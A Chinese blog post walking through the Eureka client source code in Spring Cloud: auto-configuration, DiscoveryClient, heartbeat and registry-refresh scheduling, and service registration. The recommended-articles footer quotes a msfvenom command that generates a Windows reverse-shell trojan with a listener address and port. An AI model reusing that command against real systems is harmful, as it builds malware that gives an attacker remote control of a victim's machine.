Spring Cloud系列(四):Eureka源码解析之客户端
一、自动装配
1、根据自动装配原理(详见:Spring Boot系列(二):Spring Boot自动装配原理解析),找到spring-cloud-netflix-eureka-client.jar的spring.factories,查看spring.factories如下:
2、进入EurekaClient的自动装配类EurekaClientAutoConfiguration:
3、@ConditionalOnBean(EurekaDiscoveryClientConfiguration.Marker.class)也就是说当容器中有EurekaDiscoveryClientCon figuration.Marker.class时,该配置类才起作用。接下来查看spring.factories,发现还有一个配置类EurekaDiscoveryClientConfigura tion,该配置类就刚刚好往容器中导入了EurekaDiscoveryClientConfiguration.Marker。
二、EurekaClient
1、EurekaClientAutoConfiguration配置类
1.1 导入的核心Bean
① EurekaClientConfigBean:初始化eurekaClient配置;
② EurekaInstanceConfigBean:初始化eureka实例配置;
③ EurekaDiscoveryClient:初始化eureka发现客户端;
④ EurekaServiceRegistry:初始化eureka服务注册;
⑤ EurekaAutoServiceRegistration:初始化eureka自动服务注册;
⑥ EurekaClient:初始化eureka客户端;
1.2 初始化EurekaClient
① 首先看下类的继承图:
② CloudEurekaClient构造方法:
点进去会发现它调用父类的构造方法super(applicationInfoManager, config, args);最终来到如下方法:
@Inject
DiscoveryClient(ApplicationInfoManager applicationInfoManager, EurekaClientConfig config, AbstractDiscoveryClientOptionalArgs args,
Provider<BackupRegistry> backupRegistryProvider, EndpointRandomizer endpointRandomizer) {
//省略......
this.applicationInfoManager = applicationInfoManager;
//1、获取要注册的服务实例信息
InstanceInfo myInfo = applicationInfoManager.getInfo();
//省略......
instanceInfo = myInfo;
//省略......
//2、定义一些Executor
try {
// default size of 2 - 1 each for heartbeat and cacheRefresh
scheduler = Executors.newScheduledThreadPool(2,
new ThreadFactoryBuilder()
.setNameFormat("DiscoveryClient-%d")
.setDaemon(true)
.build());
//心跳Executor
heartbeatExecutor = new ThreadPoolExecutor(
1, clientConfig.getHeartbeatExecutorThreadPoolSize(), 0, TimeUnit.SECONDS,
new SynchronousQueue<Runnable>(),
new ThreadFactoryBuilder()
.setNameFormat("DiscoveryClient-HeartbeatExecutor-%d")
.setDaemon(true)
.build()
); // use direct handoff
//本地缓存刷新Executor
cacheRefreshExecutor = new ThreadPoolExecutor(
1, clientConfig.getCacheRefreshExecutorThreadPoolSize(), 0, TimeUnit.SECONDS,
new SynchronousQueue<Runnable>(),
new ThreadFactoryBuilder()
.setNameFormat("DiscoveryClient-CacheRefreshExecutor-%d")
.setDaemon(true)
.build()
); // use direct handoff
/**
* 1、初始化定时拉取服务注册信息和服务续约任务
* 2、定义一个状态变化监听
* 3、初始化定时服务注册任务
*/
initScheduledTasks();
//省略......
}
③ 进入initScheduledTasks()方法如下:
private void initScheduledTasks() {
if (clientConfig.shouldFetchRegistry()) {
int registryFetchIntervalSeconds = clientConfig.getRegistryFetchIntervalSeconds();
int expBackOffBound = clientConfig.getCacheRefreshExecutorExponentialBackOffBound();
//每隔30s执行CacheRefreshThread,刷新本地缓存
scheduler.schedule(
new TimedSupervisorTask(
"cacheRefresh",
scheduler,
cacheRefreshExecutor,
registryFetchIntervalSeconds,
TimeUnit.SECONDS,
expBackOffBound,
new DiscoveryClient.CacheRefreshThread()
),
registryFetchIntervalSeconds, TimeUnit.SECONDS);
} if (clientConfig.shouldRegisterWithEureka()) {
int renewalIntervalInSecs = instanceInfo.getLeaseInfo().getRenewalIntervalInSecs();
int expBackOffBound = clientConfig.getHeartbeatExecutorExponentialBackOffBound();
//每隔30s发一次心跳
scheduler.schedule(
new TimedSupervisorTask(
"heartbeat",
scheduler,
heartbeatExecutor,
renewalIntervalInSecs,
TimeUnit.SECONDS,
expBackOffBound,
new DiscoveryClient.HeartbeatThread()
),
renewalIntervalInSecs, TimeUnit.SECONDS); //定时服务注册
instanceInfoReplicator = new InstanceInfoReplicator(
this,
instanceInfo,
clientConfig.getInstanceInfoReplicationIntervalSeconds(),
2); // burstSize
//状态监听器,当实例状态改变时会调用监听器的notify方法
statusChangeListener = new ApplicationInfoManager.StatusChangeListener() {
//省略......
@Override
public void notify(StatusChangeEvent statusChangeEvent) {
//省略......
instanceInfoReplicator.onDemandUpdate();
}
}; if (clientConfig.shouldOnDemandUpdateStatusChange()) {
//往applicationInfoManager里面注册监听器
applicationInfoManager.registerStatusChangeListener(statusChangeListener);
}
//开启定时服务注册任务
instanceInfoReplicator.start(clientConfig.getInitialInstanceInfoReplicationIntervalSeconds());
} else {
logger.info("Not registering with Eureka server per configuration");
}
}
上面方法核心逻辑:
一:初始化定时拉取服务注册信息和服务续约任务;scheduler.schedule(TimedSupervisorTask),执行TimedSupervisorTask.ru n()方法,定时执行2个任务
Ⅰ、CacheRefreshThread:定时刷新本地注册列表;
Ⅱ、HeartbeatThread:定时向Eureka服务端发送心跳,证明自己还活着;
二:定义一个状态变化监听来监听实例状态的变化;
statusChangeListener = new ApplicationInfoManager.StatusChangeListener(),里面的核心方法notify(StatusChangeE vent statusChangeEvent),该方法里面有个instanceInfoReplicator.onDemandUpdate()方法。然后把statusChangeListener监听器往applicationInfoManager里面注册。当实例状态改变时会调用监听器的notify方法,也就是会调用instanceInfoReplicator.onDema ndUpdate()方法。
三:初始化定时服务注册任务;
调用instanceInfoReplicator.start(clientConfig.getInitialInstanceInfoReplicationIntervalSeconds())方法;进入到InstanceInfo Replicator.start(int initialDelayMs)方法如下:
public void start(int initialDelayMs) {
if (started.compareAndSet(false, true)) {
instanceInfo.setIsDirty(); // for initial register
//延迟40s执行
Future next = scheduler.schedule(this, initialDelayMs, TimeUnit.SECONDS);
scheduledPeriodicRef.set(next);
}
}
进入到InstanceInfoReplicator.run()方法如下:
public void run() {
try {
discoveryClient.refreshInstanceInfo();
Long dirtyTimestamp = instanceInfo.isDirtyWithTime();
if (dirtyTimestamp != null) {
//服务注册,其实就是调用EurekaServer服务端服务注册接口 httpResponse = eurekaTransport.registrationClient.register(instanceInfo);
discoveryClient.register();
instanceInfo.unsetIsDirty(dirtyTimestamp);
}
} catch (Throwable t) {
logger.warn("There was a problem with the instance info replicator", t);
} finally {
//每隔40s执行一次
Future next = scheduler.schedule(this, replicationIntervalSeconds, TimeUnit.SECONDS);
scheduledPeriodicRef.set(next);
}
}
1.3 初始化EurekaAutoServiceRegistration
① EurekaAutoServiceRegistration类的继承图:
实现了SmartLifecycle接口,会在EurekaAutoServiceRegistration初始化完成后,根据isAutoStartup为ture执行start方法。
② 进入EurekaAutoServiceRegistration.start()方法:
public void start() {
//省略......
if (!this.running.get() && this.registration.getNonSecurePort() > 0) {
//服务注册
this.serviceRegistry.register(this.registration);
//发布InstanceRegisteredEvent事件
this.context.publishEvent(new InstanceRegisteredEvent<>(this,
this.registration.getInstanceConfig()));
//设置运行为true
this.running.set(true);
}
}
③ 进入EurekaServiceRegistry.register()方法:
该方法里面reg.getApplicationInfoManager().setInstanceStatus(reg.getInstanceConfig().getInitialStatus());触发状态变化监听器的notify方法,也就是调用到了ApplicationInfoManager.StatusChangeListener.notify方法,notify方法里面执行instanceInfoRep licator.onDemandUpdate()方法,最终调用InstanceInfoReplicator.this.run()方法,进行服务注册。
三、Eureka客户端流程图
自此Eureka客户端源码解析完成,Eureka服务端源码详见:Spring Cloud系列(三):Eureka源码解析之服务端。Eureka应用详见:Spring Cloud系列(二):Eureka应用详解
Spring Cloud系列(四):Eureka源码解析之客户端的更多相关文章
- spring cloud深入学习(四)-----eureka源码解析、ribbon解析、声明式调用feign
基本概念 1.Registe 一一服务注册当eureka Client向Eureka Server注册时,Eureka Client提供自身的元数据,比如IP地址.端口.运行状况指标的Uri.主页地址 ...
- Mybatis 系列6-结合源码解析节点配置:objectFactory、databaseIdProvider、plugins、mappers
[Mybatis 系列10-结合源码解析mybatis 执行流程] [Mybatis 系列9-强大的动态sql 语句] [Mybatis 系列8-结合源码解析select.resultMap的用法] ...
- Mybatis 系列3-结合源码解析properties节点和environments节点
[Mybatis 系列10-结合源码解析mybatis 执行流程] [Mybatis 系列9-强大的动态sql 语句] [Mybatis 系列8-结合源码解析select.resultMap的用法] ...
- Mybatis 系列10-结合源码解析mybatis 的执行流程
[Mybatis 系列10-结合源码解析mybatis 执行流程] [Mybatis 系列9-强大的动态sql 语句] [Mybatis 系列8-结合源码解析select.resultMap的用法] ...
- Mybatis 系列8-结合源码解析select、resultMap的用法
[Mybatis 系列10-结合源码解析mybatis 执行流程] [Mybatis 系列9-强大的动态sql 语句] [Mybatis 系列8-结合源码解析select.resultMap的用法] ...
- Mybatis 系列7-结合源码解析核心CRUD 配置及用法
[Mybatis 系列10-结合源码解析mybatis 执行流程] [Mybatis 系列9-强大的动态sql 语句] [Mybatis 系列8-结合源码解析select.resultMap的用法] ...
- Mybatis 系列5-结合源码解析TypeHandler
[Mybatis 系列10-结合源码解析mybatis 执行流程] [Mybatis 系列9-强大的动态sql 语句] [Mybatis 系列8-结合源码解析select.resultMap的用法] ...
- Mybatis 系列4-结合源码解析节点:typeAliases
[Mybatis 系列10-结合源码解析mybatis 执行流程] [Mybatis 系列9-强大的动态sql 语句] [Mybatis 系列8-结合源码解析select.resultMap的用法] ...
- 死磕 java同步系列之CyclicBarrier源码解析——有图有真相
问题 (1)CyclicBarrier是什么? (2)CyclicBarrier具有什么特性? (3)CyclicBarrier与CountDownLatch的对比? 简介 CyclicBarrier ...
随机推荐
- Selenium中核心属性以及方法
一.操作定位元素 selenium提供了定位元素的API,这些方法都被定义在webDriver类中,需要以find开头, 例如:find_Element_by_id('')
- 力扣Leetcode 572. 另一个树的子树
另一个树的子树 给定两个非空二叉树 s 和 t,检验 s 中是否包含和 t 具有相同结构和节点值的子树.s 的一个子树包括 s 的一个节点和这个节点的所有子孙.s 也可以看做它自身的一棵子树. 示例 ...
- Codeforces Round #668 (Div. 2)A-C题解
A. Permutation Forgery 题目:http://codeforces.com/contest/1405/problem/A 题解:这道题初看有点吓人,一开始居然想到要用全排序,没错我 ...
- leetcode刷题-46全排列
题目 给定一个 没有重复 数字的序列,返回其所有可能的全排列. 思路 回溯算法 不断取出字符,对剩余字符进行选择 实现 class Solution: def permute(self, nums: ...
- Spring-代理模式
代理模式 目录 代理模式 1. 代理模式的分类 2. 静态代理 1. 角色分析 2. 代码步骤 3. 代理的好处 4. 进一步理解 3. 动态代理 1. 角色分析 2. 对动态代理的两个关键类的理解 ...
- HTML模仿实现京东登录页面
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- HTML常用实体字符参考手册
最常用的字符实体 显示结果 描述 实体名称 实体编号 空格 < 小于号 < < > 大于号 > > & 和号 & & " ...
- css常用属性之display属性
1.dispaly属性之一:块级标签转行内便签display: inline(内容有多大,就展示多大(用F12看区别)) 2.display属性之二:行内便签转块级标签:diaplay: block ...
- msf生成木马
Msf生成木马:(多层加密都不能免杀) msfvenom -p windows/shell_reverse_tcp lhost=192.168.33.143 lport=7001 -f raw -e ...
- [HDU2553]N皇后问题(DFS)
题目链接 http://acm.hdu.edu.cn/showproblem.php?pid=2553 题意 n<=10,输出N皇后问题的方法数. 题解 可以使用各种方法.这里使用DFS. 使用 ...